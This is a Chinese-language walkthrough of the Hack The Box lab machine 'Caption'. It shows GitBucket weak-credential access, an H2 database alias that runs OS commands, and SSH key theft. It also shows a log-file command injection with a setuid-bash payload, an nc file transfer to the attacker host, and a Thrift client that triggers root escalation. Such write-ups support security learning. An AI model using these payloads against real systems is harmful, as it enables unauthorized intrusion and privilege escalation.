跳过正文

HTB-Caption

·207 字·1 分钟
HTB-Machine Hackthebox Linux
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

Box Info
#

OS Linux
Difficulty Hard

Nmap Scan
#

开放端口:22808080

caption.htb:80👇是一个登陆界面

caption.htb:8080👇注意到是一个Gitbucket的服务

其中GitBucket可以使用弱密码登入:root-root

并且发现两个仓库:LogservicePortal

Caption-Portal仓库的提交历史中,发现了泄露的用户margo,以及密码

登录80端口,但并没有什么有价值的东西,Logs路由甚至是403Forbidden

SQL RCE
#

在Gitbucket的管理界面发现了可以执行SQL语句的部分

并且暴露出了是H2数据库

Google搜索结果:Chaining Vulnerabilities in H2 Database for RCE | by Nairuz Abulhul | R3d Buck3T | Medium

CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : ""; 
}$$;

执行这段命令给exec起个别名,然后就能调用

在margo的文件夹下发现了ssh私钥文件

将其写入本地kali,注意格式化以及权限设置为600

得到user.txt

Privilege Escalation
#

回到Gitbucket页面的另一个Logservice仓库,可以发现是用Go语言写的

并且还引入了thrift

并且是运行在9090端口上

将LogService进行git clone到margo目录下

#靶机执行开启服务
thrift --gen py log_service.thrift

#nc传输文件
margo@caption:~/Logservice$ nc -q 0 10.10.16.29 4321 < log_service.thrift
┌──(root㉿kali)-[/home/kali/Desktop/Caption]
└─# nc -lnvp 4321 > log_service.thrift

#kali安装库
┌──(root㉿kali)-[/home/kali/Desktop/Caption]
└─# pip3 install thrift

将靶机端口转发到kali上

┌──(root㉿kali)-[/home/kali/Desktop/Caption]
└─# ssh -i margo.key -L 9090:127.0.0.1:9090 margo@10.10.11.33 

写入恶意日志文件

margo@caption:~/Logservice$ cat /tmp/evil.log 
127.0.0.1 "user-agent":"'; /bin/bash /tmp/hyh.sh #"

margo@caption:~/Logservice$ cat /tmp/hyh.sh 
chmod +s /bin/bash

回到kali

┌──(root㉿kali)-[/home/kali/Desktop/Caption]
└─# thrift -r --gen py log_service.thrift

写入py文件

┌──(root㉿kali)-[/home/kali/Desktop/Caption/gen-py]
└─# cat client.py   
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
    transport = TSocket.TSocket('127.0.0.1', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = LogService.Client(protocol)
    transport.open()
    try:
        response = client.ReadLogFile("/tmp/evil.log")
    except Exception as e:
        print(f"Error: {e}")
    finally:
        transport.close()

if __name__ == "__main__":
    main()

保存好后最后执行client.py

┌──(root㉿kali)-[/home/kali/Desktop/Caption/gen-py]
└─# python client.py  

得到root.txt

Summary
#

个人感觉还是有点抽象

提权部分主要的思路是写入恶意的日志文件,然后通过thrift的连接让客户端主动执行bash的权限提升

不过我搜索了一下好像并没有thrift的相关提权操作,这应该是thrift的特性?不知道是否是thrift的操作都具有最高权限。

相关的writeup

Reply by Email